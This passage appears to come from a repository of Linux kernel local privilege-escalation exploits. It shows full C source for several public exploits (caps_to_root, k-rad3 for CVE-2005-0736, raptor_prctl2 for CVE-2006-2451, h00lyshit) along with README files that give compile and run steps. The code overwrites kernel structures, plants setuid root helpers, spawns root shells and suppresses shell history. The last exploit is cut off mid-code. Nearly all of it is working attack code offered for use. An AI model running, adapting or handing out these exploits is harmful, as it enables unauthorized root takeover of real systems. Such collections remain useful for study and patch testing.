/* Konami code! */
asm("inc %edx;" /* UP */
"inc %edx;" /* UP */
"dec %edx;" /* DOWN */
"dec %edx;" /* DOWN */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"shl %edx;" /* LEFT */
"shr %edx;" /* RIGHT */
"push %ebx;" /* B */
"pop %ebx;"
"push %eax;" /* A */
"pop %eax;"
"mov $getroot, %ebx;"
"call *%ebx;"); /* START */
return 0;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char * argv[])
{
int sock, proto, i, offset = -1;
unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
void * map;
/* Create a socket to load the module for symbol support */
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
if(sock < 0) {
if(errno == EPERM)
printf("[*] You don't have CAP_SYS_ADMIN.\n");
else
printf("[*] Failed to open Phonet socket.\n");
return -1;
}
/* Resolve kernel symbols */
printf("[*] Resolving kernel symbols...\n");
proto_tab = get_kernel_sym("proto_tab");
pn_ops = get_kernel_sym("phonet_dgram_ops");
pn_ioctl = get_kernel_sym("pn_socket_ioctl");
commit_creds = get_kernel_sym("commit_creds");
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
!pn_ops || !pn_ioctl) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Thanks bla, for reminding me how to do basic math */
landing = 0x20000000;
proto = 1 << 31 | (landing - proto_tab) >> 2;
/* Map it */
printf("[*] Preparing fake structures...\n");
map = mmap((void *)landing, 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
/* Pointer to phonet_protocol struct */
ptr = (unsigned long *)landing;
ptr[0] = &ptr[1];
/* phonet_protocol struct */
for(i = 1; i < 4; i++)
ptr[i] = &ptr[4];
/* proto struct */
for(i = 4; i < 204; i++)
ptr[i] = &ptr[204];
/* First, do a test run to calculate any offsets */
target = 0x30000000;
/* module struct */
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Map it */
map = mmap((void *)0x30000000, 0x2000000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map landing area.\n");
return -1;
}
printf("[*] Calculating offsets...\n");
socket(PF_PHONET, SOCK_DGRAM, proto);
ptr = 0x30000000;
for(i = 0; i < 0x800000; i++) {
if(ptr[i] != 0) {
offset = i * sizeof(void *);
break;
}
}
if(offset == -1) {
printf("[*] Test run failed.\n");
return -1;
}
/* MSB of pn_ioctl */
target = pn_ops + 10 * sizeof(void *) - 1 - offset;
/* Re-fill the module struct */
ptr = (unsigned long *)landing;
for(i = 204; i < 404; i++)
ptr[i] = target;
/* Push pn_ioctl fptr into userspace */
printf("[*] Modifying function pointer...\n");
landing = pn_ioctl;
while((landing & 0xff000000) != 0x10000000) {
socket(PF_PHONET, SOCK_DGRAM, proto);
landing += 0x01000000;
}
/* Map it */
map = mmap((void *)(landing & ~0xfff), 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if(map == MAP_FAILED) {
printf("[*] Failed to map payload area.\n");
return -1;
}
/* Copy payload */
memcpy((void *)landing, &konami, 1024);
printf("[*] Executing Konami code at ring0...\n");
ioctl(sock, 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Konami code worked! Have a root shell.\n");
execl("/bin/sh", "/bin/sh", NULL);
}

View File

@ -0,0 +1,25 @@
# caps_to_root
caps_to_root
Vulnerability reference:
* [N/A](https://www.exploit-db.com/exploits/15916/)
## Kernels
```
2.6.34, 2.6.35, 2.6.36
```
## Usage
```
gcc -w caps-to-root.c -o caps-to-root
sudo setcap cap_sys_admin+ep caps-to-root
./caps-to-root
```
![root](root.png)

BIN
2004/caps_to_root/root.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 KiB

730
2005/CVE-2005-0736/1397.c Normal file
View File

@ -0,0 +1,730 @@
/*
* k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3
* Discovered and original exploit coded Jan 2005 by sd <sd@fucksheep.org>
*
*********************************************************************
*
* Modified 2005/9 by alert7 <alert7@xfocus.org>
* XFOCUS Security Team http://www.xfocus.org
*
* gcc -o k-rad3 k-rad3.c -static -O2
*
* tested succeed :
* on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp)
* 2.6.9-5.EL ./k-rad3 -p 2
* 2.6.9-5.ELsmp ./k-rad3 -a -p 7
* on default installed maglic linux 1.2
* MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2
*
* thank watercloud tested maglic linux 1.2
* thank eist provide RHEL4 to test
* thank sd <sd@fucksheep.org> share his stuff.
* thank xfocus & xfocus's firends
*
*
* TODO:
* CASE 1: use stack > 0xc0000000
* CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse
*
*[alert7@MagicLinux ~]$ ./k-rad3 -h
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
*
*Usage: ./k-rad3
* -s forced cpu flag pse
* -a define CONFIG_X86_PAE,default none
* -e <num> have two kernel code,default 0
* -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7
* The higher number the more likely it will crash
* -t <num> default 0
* 0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
*
*[alert7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
*[ Modified 2005/9 by alert7 <alert7@xfocus.org> ]
*[+] try open /proc/cpuinfo .. ok!!
*[+] find cpu flag pse in /proc/cpuinfo
*[+] CONFIG_X86_PAE :none
*[+] Cpu flag: pse ok
*[+] Exploit Way : 0
*[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
*[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
*[+] idtr.base 0xc0461000 ,base 0xc0000000
*[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196
*[+] idt[0x7f] addr 0xffc003f8
*[+] j00 1u(k7 k1d!
*[root@k-rad3 ~] #id
*uid=0(root) gid=0(root) groups=500(alert7)
*
*
* Linux Kernel <= 2.6.11 "sys_epoll_wait" Local integer overflow Exploit
*
* "it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11)
* memory due to integer overflow in sys_epoll_wait and misuse of
* __put_user in ep_send_events"
* Georgi Guninski: http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
*********************************************************************
*
*
* In memory of pwned.c (uselib)
*
* - Redistributions of source code is not permitted.
* - Redistributions in the binary form is not permitted.
* - Redistributions of the above copyright notice, this list of conditions,
* and the following disclaimer is permitted.
* - By proceeding to a Redistribution and under any form of the Program
* the Distributor is granting ownership of his Resources without
* limitations to the copyright holder(s).
*
*
* Since we already owned everyone, theres no point keeping this private
* anymore.
*
* http://seclists.org/lists/fulldisclosure/2005/Mar/0293.html
*
* Thanks to our internet hero georgi guninski for being such incredible
* whitehat disclosing one of the most reliable kernel bugs.
* You saved the world, man, we owe you one!
*
* This version is somewhat broken, but skilled reader will get an idea.
* Well, at least let the scriptkids have fun for a while.
*
* Thanks to all who helped me developing/testing this, you know who you are,
* and especially to my gf for guidance while coding this.
*
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <linux/capability.h>
#include <asm/unistd.h>
#ifndef __USE_GNU
#define __USE_GNU
#endif
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <string.h>
/**
* Relationship Variables
*
* 1: CONFIG_X86_PAE
* see /lib/modules/`uname -r`/build/.config
* 1.1: pse
* 2: THREAD_SIZE
* see include/asm/thread_info.h THREAD_SIZE define
*/
#define MAP (0xfffff000 - (1023*4096))
#define MAP_PAE (0xfffff000 - (511*4096))
#define MKPTE(addr) ((addr & (~4095)) | 0x27)
#define MKPMD(x) (0x1e3|0x004)
////////////////////////////////////////////////
#define KRADPS1 "k-rad3"
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define KRS "\033[1;30m[ \033[1;37m"
#define KRE "\033[1;30m ]\033[0m"
#define KRAD "\033[1;30m[\033[1;37m*\033[1;30m]\033[0m "
#define KRADP "\033[1;30m[\033[1;37m+\033[1;30m]\033[0m "
#define KRADM "\033[1;30m[\033[1;37m-\033[1;30m]\033[0m "
#define SET_IDT_GATE(idt,ring,s,addr) \
(idt).off1 = addr & 0xffff; \
(idt).off2 = addr >> 16; \
(idt).sel = s; \
(idt).none = 0; \
(idt).flags = 0x8E | (ring << 5);
//config val
static int havepse = 0;
static int definePAE = 0;
static int exploitway = 0;
static int npages = 1;
static int thread_size = 0;
static uid_t uid = 0;
static unsigned long long *clear1;
static char * progargv0;
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
struct idt {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed));
#define __syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
errno = -(res); \
res = -1; \
} \
return (type) (res); \
} while (0)
#define _capget_macro(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ( "int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
__syscall_return(type,__res); \
}
static inline _capget_macro(int,capget,void *,a,void *,b);
static int THREAD_SIZE_MASK =(-4096);
static void
fatal(const char *message)
{
system("uname -a");
printf("[-] %s\n",message);
exit(1);
}
void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
*clear1 = 0;
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid
)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */
}
void kcode(void);
void __kcode(void)
{
asm(
"kcode: \n"
"cld \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl %ss,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n");
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
asm(
" andl %esp,%eax \n"
" pushl (%eax) \n"
" call kernel \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" cli \n"
" iret \n"
);
}
void raise_cap(unsigned long *ts)
{
/* must be on lower addresses because of kernel arg check :) */
static struct __user_cap_header_struct head;
static struct __user_cap_data_struct data;
static struct __user_cap_data_struct n;
int i;
*clear1 = 0;
head.version = 0x19980330;
head.pid = 0;
capget(&head, &data);
/* scan the thread_struct */
for (i = 0; i < 512; i++, ts++)
{
/* is it capabilities block? */
if ( (ts[0] == data.effective) &&
(ts[1] == data.inheritable) &&
(ts[2] == data.permitted))
{
/* set effective cap to some val */
ts[0] = 0x12341234;
capget(&head, &n);
/* and test if it has changed */
if (n.effective == ts[0])
{
/* if so, we're in :) */
ts[0] = ts[1] = ts[2] = 0xffffffff;
return;
}
/* otherwise fix back the stuff
(if we've not crashed already :) */
ts[0] = data.effective;
}
}
return;
}
void stub(void);
void __stub(void)
{
asm (
"stub:;"
" pusha;"
);
__asm__("movl %0 ,%%eax" ::"m"(THREAD_SIZE_MASK) );
asm(
" and %esp, %eax;"
" pushl (%eax);"
" call raise_cap;"
" pop %eax;"
" popa;"
" iret;"
);
}
/* write to kernel from buf, num bytes */
static int
kwrite(unsigned base, char *buf, int num)
{
#define DIV 256
#define RES 4
int efd, c, i, fd;
int pi[2];
struct epoll_event ev;
int *stab;
unsigned long ptr;
int count;
unsigned magic = 0xffffffff / 12 + 1;
printf("[+] kwrite base %p, buf %p,num %d\n", (void *)base,buf,num);
/* initialize epoll */
efd = epoll_create(4096);
if (efd < 0)
return -1;
ev.events = EPOLLIN|EPOLLOUT|EPOLLPRI|EPOLLERR|EPOLLHUP;
/* 12 bytes per fd + one more to be safely in stack space */
count = (num+11)/12+RES;
/* desc array */
stab = alloca((count+DIV-1)/DIV*sizeof(int));
for (i = 0; i < ((count+DIV-1)/DIV)+1; i++)
{
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pi) < 0)
return -1;
send(pi[0], "a", 1, 0);
stab[i] = pi[1];
}
/* highest fd and first descriptor */
fd = pi[1];
/* we've to allocate this separately because we need to have
it's fd preserved - using this we'll be writing actual bytes */
epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ev);
//printf("EPOLL_CTL_ADD count %u\n",count);
for (i = 0, c = 0; i < (count-1); i++)
{
int n;
n = dup2(stab[i/DIV], fd+2+(i % DIV));
if (n < 0)
return -1;
epoll_ctl(efd, EPOLL_CTL_ADD, n, &ev);
close(n);
}
/* in 'n' we've the latest fd we're using to write data */
for (i = 0; i < ((num+7)/8); i++)
{
/* data being written from end */
memcpy(&ev.data, buf + num - 8 - i * 8, 8);
epoll_ctl(efd, EPOLL_CTL_MOD, fd, &ev);
/* the actual kernel magic */
ptr = (base + num - (i*8)) - (count * 12);
struct epoll_event *events =(struct epoll_event *)ptr;
//printf("epoll_wait verify_area(%p,%p) addr %p %p\n",ptr,magic* sizeof(struct epoll_event) ,&events[0].events,magic);
int iret =epoll_wait(efd, (void *) ptr, magic, 31337);
if (iret ==-1)
{
perror("epoll_wait");
fatal("This kernel not vulnerability!!!");
}
/* don't ask why (rotten rb-trees) :) */
if (i)
{
//printf("epoll_wait verify_area(%p,%p) %p\n",ptr,magic* sizeof(struct epoll_event) ,magic);
iret = epoll_wait(efd, (void *)ptr, magic, 31337);
if (iret ==-1)
{
perror("epoll_wait");
fatal("This kernel not vulnerability!!!");
}
}
}
close(efd);
for (i = 3; i <= fd; i++)
close(i);
return 0;
}
/* real-mode interrupt table fixup - point all interrupts to iret.
let's hope this will shut up apm */
static void
fixint(char *buf)
{
unsigned *tab = (void *) buf;
int i;
for (i = 0; i < 256; i++)
tab[i] = 0x0000400; /* 0000:0400h */
/* iret */
buf[0x400] =0xcf;
}
/* establish pte pointing to virtual addr 'addr' */
static int
map_pte(unsigned base, int pagenr, unsigned addr)
{
unsigned *buf = alloca(pagenr * 4096 + 8);
buf[(pagenr) * 1024] = MKPTE(addr);
buf[(pagenr) * 1024+1] = 0;
fixint((void *)buf);
return kwrite(base, (void *)buf, pagenr * 4096 + 4);
}
/* make pme user can rw */
static int
map_pme(unsigned base, int pagenr, unsigned addr)
{
unsigned *buf = alloca(pagenr * 4096 + 32);
buf[(pagenr) * 1024] = MKPMD(addr);
buf[(pagenr) * 1024+1] = 0;
buf[(pagenr) * 1024+2] = MKPMD(addr)|0x00200000;
buf[(pagenr) * 1024+3] = 0;
fixint((void *)buf);
return kwrite(base, (void *)buf, pagenr * 4096 + 4*3);
}
static void
error(int d)
{
printf(KRADM "y3r 422 12 n07 3r337 3nuPh!\n" KRAD "Try increase nrpages?\n");
exit(1);
}
char *bashargv[] = { KRADPS1, NULL };
char *bashenvp[] = { "TERM=linux", "PS1=[\\u@"KRADPS1" \\W]\\$ ", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null","HISTFILE=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
static int
exploit(unsigned kernelbase, int npages)
{
struct idt *idt;
struct idtr idtr;
signal(SIGSEGV, error);
signal(SIGBUS, error);
/* get idt descriptor addr */
asm ("sidt %0" : "=m" (idtr));
/*
* if OS in vmware , idtr.base is not right,please fix it
* [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
* c0461000 D idt_table
* //idtr.base = 0xc0461000;
*/
printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);
if ( !definePAE )
{
map_pte(kernelbase, npages, idtr.base - kernelbase);
// idt = pae?(void *)MAP_PAE:(void *)MAP;
idt = (struct idt *)MAP;
}else
{
/* TODO: pse disable case */
if ( !havepse)
printf("[!Waring!] TODO:CONFIG_X86_PAE define ,but cpu flag no pse\n");
map_pme(kernelbase, npages, idtr.base - kernelbase);
idt = (struct idt *) idtr.base;
}
#if 0
int * p = (int *) idt;
int i;
for (i=0;i<1024;i++,p++)
printf( "* %p 0x%x\n",p,*p);
fflush(stdout);
#endif
/**
* cleanup the stuff to prevent others spotting the gate
* - must be done from ring 0
*/
clear1 = (void *) &idt[0x7f];
printf("[+] idt[0x7f] addr %p\n",clear1);
if ( exploitway == 0)
{
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &kcode));
}
else
{
SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
}
//[2] SET_IDT_GATE(idt[0x7f], 3, idt[0x80].sel, ((unsigned long) &stub));
/**
* also can use [2] stub function,but it may cause this message
*
* Sep 11 13:11:59 AD4 kernel: Debug: sleeping function called from invalid context at include/asm/uaccess.h:531
* Sep 11 13:11:59 AD4 kernel: in_atomic():0[expected: 0], irqs_disabled():1
* Sep 11 13:11:59 AD4 kernel: [<c011ca30>] __might_sleep+0x7d/0x89
* Sep 11 13:11:59 AD4 kernel: [<c01270bd>] sys_capget+0x1d5/0x216
* Sep 11 13:11:59 AD4 kernel: [<c0301bfb>] syscall_call+0x7/0xb
* Sep 11 13:11:59 AD4 kernel: [<c017007b>] pipe_writev+0x24/0x320
* Sep 11 13:11:59 AD4 kernel: [<c01619a4>] filp_close+0x59/0x5f
*
*/
/* call raise_cap or kernel */
asm ("int $0x7f");
printf(KRADP "j00 1u(k7 k1d!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
char cmdbuf[1024];
snprintf(cmdbuf,1024,"chown root %s;chmod +s %s",progargv0,progargv0);
system(cmdbuf);
execve("/bin/sh", bashargv, bashenvp);
exit(0);
}
static void
usage(char *n)
{
printf("\nUsage: %s\n",n);
printf("\t-s forced cpu flag pse \n");
printf("\t-a define CONFIG_X86_PAE,default none\n");
printf("\t-e <num> have two kernel code,default 0\n");
printf("\t-p <num> alloc pages(4k) ,default 1. Increase from 1 to 7\n"
"\t\tThe higher number the more likely it will crash\n");
printf("\t-t <num> default 0 \n"
"\t\t0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192\n");
printf("\n");
_exit(1);
}
/*read /proc/cpuinfo to set havepse*/
static void
read_proc(void)
{
FILE * fp;
char * line = NULL;
size_t len = 0;
ssize_t read;
printf("[+] try open /proc/cpuinfo ..");
fp = fopen("/proc/cpuinfo", "r");
if (fp == NULL)
{
printf(" failed!!\n");
return;
}
printf(" ok!!\n");
int cpus = 0;
int pse = 0;
while ((read = getline(&line, &len, fp)) != -1)
{
if (strstr(line,"flags"))
{
if(strstr(line ,"pse "))
{
pse ++;
}
}
}
fclose(fp);
if (line)
free(line);
if ( pse )
{
printf("[+] find cpu flag pse in /proc/cpuinfo\n");
havepse = 1;
}
return ;
}
static void
get_config(int ac, char **av)
{
uid = getuid();
progargv0 = av[0];
int r;
while(ac) {
r = getopt(ac, av, "e:p:t:ash");
if(r<0) break;
switch(r) {
case 's' :
//pse
havepse = 1;
break;
case 'a' :
//define CONFIG_X86_PAE
definePAE = 1;
break;
case 'e' :
exploitway = atoi(optarg);
if(exploitway<0) fatal("bad exploitway value");
break;
case 'p' :
npages = atoi(optarg);
break;
case 't' :
thread_size = atoi(optarg);
break;
case 'h' :
default:
usage(av[0]);
break;
}
}
THREAD_SIZE_MASK = (thread_size==0)?(-4096):(-8192);
read_proc();
}
static void
print_config(unsigned long kernebase)
{
printf("[+] CONFIG_X86_PAE :%s\n", definePAE ?"ok":"none");
printf("[+] Cpu flag: pse %s\n", havepse ?"ok":"none");
printf("[+] Exploit Way : %d\n", exploitway);
printf("[+] Use %d pages (one page is 4K ),rewrite 0x%lx--(0x%lx + n)\n",
npages,kernebase,kernebase+npages*4 kB);
printf("[+] thread_size %d (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192 \n",thread_size);
fflush(stdout);
}
void prepare(void)
{
if (geteuid() == 0)
{
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execve("/bin/sh", bashargv, bashenvp);
fatal("[-] Unable to spawn shell");
}
}
int
main(int argc, char **argv)
{
char eater[65536];
unsigned long kernelbase;
/* unlink(argv[0]); */
// sync();
printf(KRS " "KRADPS1" - <=linux 2.6.11 CPL 0 kernel exploit " KRE "\n"
KRS "Discovered Jan 2005 by sd <sd@fucksheep.org>" KRE "\n"
KRS "Modified 2005/9 by alert7 <alert7@xfocus.org>" KRE "\n");
if ( (unsigned long)eater > 0xc0000000)
{
printf("[!Waring!] TODO:use stack > 0xc0000000 \n");
return 0;
}
prepare();
get_config(argc,argv);
kernelbase =(unsigned long)eater ;
kernelbase +=0x0fffffff;
kernelbase &=0xf0000000;
print_config(kernelbase);
exploit(kernelbase, npages<0?-npages:npages);
return 0;
}
// milw0rm.com [2005-12-30]

View File

@ -0,0 +1,19 @@
# CVE-2005-0736
CVE-2005-0736
Vulnerability reference:
* [CVE-2005-0736](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2005-0736)
* [exp-db](https://www.exploit-db.com/exploits/1397/)
## Kernels
```
2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11
```
## Usage
```
gcc -o k-rad3 k-rad3.c -static -O2
```

109
2006/CVE-2006-2451/2031.c Normal file
View File

@ -0,0 +1,109 @@
/*
* $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
*
* raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* The suid_dumpable support in Linux kernel 2.6.13 up to versions before
* 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial
* of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via
* the PR_SET_DUMPABLE argument of the prctl function and a program that causes
* a core dump file to be created in a directory for which the user does not
* have permissions (CVE-2006-2451).
*
* This exploit uses the logrotate attack vector: of course, you must be able
* to chdir() into the /etc/logrotate.d directory in order to exploit the
* vulnerability. I've experimented a bit with other attack vectors as well,
* with no luck: at (/var/spool/atjobs/) uses file name information to
* establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x
* permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled
* coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
*
* Thanks to Solar Designer for the interesting discussion on attack vectors.
*
* NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
*
* Usage:
* $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
* [exploit must be statically linked]
* $ ./raptor_prctl2
* [please wait until logrotate is run]
* $ ls -l /tmp/pwned
* -rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned
* $ /tmp/pwned
* sh-3.00# id
* uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
* sh-3.00#
* [don't forget to delete /tmp/pwned!]
*
* Vulnerable platforms:
* Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
char payload[] = /* commands to be executed by privileged logrotate */
"\n/var/log/core {\n daily\n size=0\n firstaction\n chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n endscript\n}\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
int main(void)
{
int pid;
struct rlimit corelimit;
struct stat st;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* prepare the setuid() helper */
system(pwnage);
/* set core size to unlimited */
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
/* let's create a fake logfile in /var/log */
if (!(pid = fork())) {
chdir("/var/log");
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
/* let's do the PR_SET_DUMPABLE magic */
if (!(pid = fork())) {
chdir("/etc/logrotate.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
/* did it work? */
sleep(3);
if ((stat("/var/log/core", &st) < 0) ||
(stat("/etc/logrotate.d/core", &st) < 0)) {
fprintf(stderr, "Error: Not vulnerable? See comments.\n");
exit(1);
}
/* total pwnage */
fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n");
exit(0);
}
// milw0rm.com [2006-07-18]

View File

@ -0,0 +1,26 @@
# CVE-2006-2451
CVE-2006-2451
Vulnerability reference:
* [CVE-2006-2451](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-2451)
* [exp-db](http://www.exploit-db.com/exploits/2031/)
## Kernels
```
2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17
```
## Usage
```
$ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
[exploit must be statically linked]
$ ./raptor_prctl2
[please wait until logrotate is run]
$ ls -l /tmp/pwned
-rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned
$ /tmp/pwned
```

194
2006/CVE-2006-3626/2013.c Normal file
View File

@ -0,0 +1,194 @@
/*
** Author: h00lyshit
** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
** Compile:
** gcc h00lyshit.c -o h00lyshit
**
** Usage:
** h00lyshit <very big file on the disk>
**
** Example:
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
**
** if y0u dont have one, make big file (~100MB) in /tmp with dd
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>
static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;
/* h00lyshit shell code */
__asm__ (" __excode: call 1f \n"
" 1: mov $23, %eax \n"
" xor %ebx, %ebx \n"
" int $0x80 \n"
" pop %eax \n"
" mov $cmd-1b, %ebx \n"
" add %eax, %ebx \n"
" mov $arg-1b, %ecx \n"
" add %eax, %ecx \n"
" mov %ebx, (%ecx) \n"
" mov %ecx, %edx \n"
" add $4, %edx \n"
" mov $11, %eax \n"
" int $0x80 \n"
" mov $1, %eax \n"
" int $0x80 \n"
" arg: .quad 0x00, 0x00 \n"
" cmd: .string \"/bin/sh\" \n"
" __excode_e: nop \n"
" .global __excode \n"
" .global __excode_e \n"
);
extern void (*__excode) (void);
extern void (*__excode_e) (void);
void
error (char *err)
{
perror (err);
fflush (stderr);
exit (1);
}
/* exploit this shit */
void
exploit (char *file)
{
int i, fd;
void *p;
struct stat st;
printf ("\ntrying to exploit %s\n\n", file);
fflush (stdout);
chmod ("/proc/self/environ", 04755);
c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
memset ((void *) c, 0, 4096);
/* slow down machine */
fd = open (file, O_RDONLY);
fstat (fd, &st);
p =
(void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
if (p == MAP_FAILED)
error ("mmap");
prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
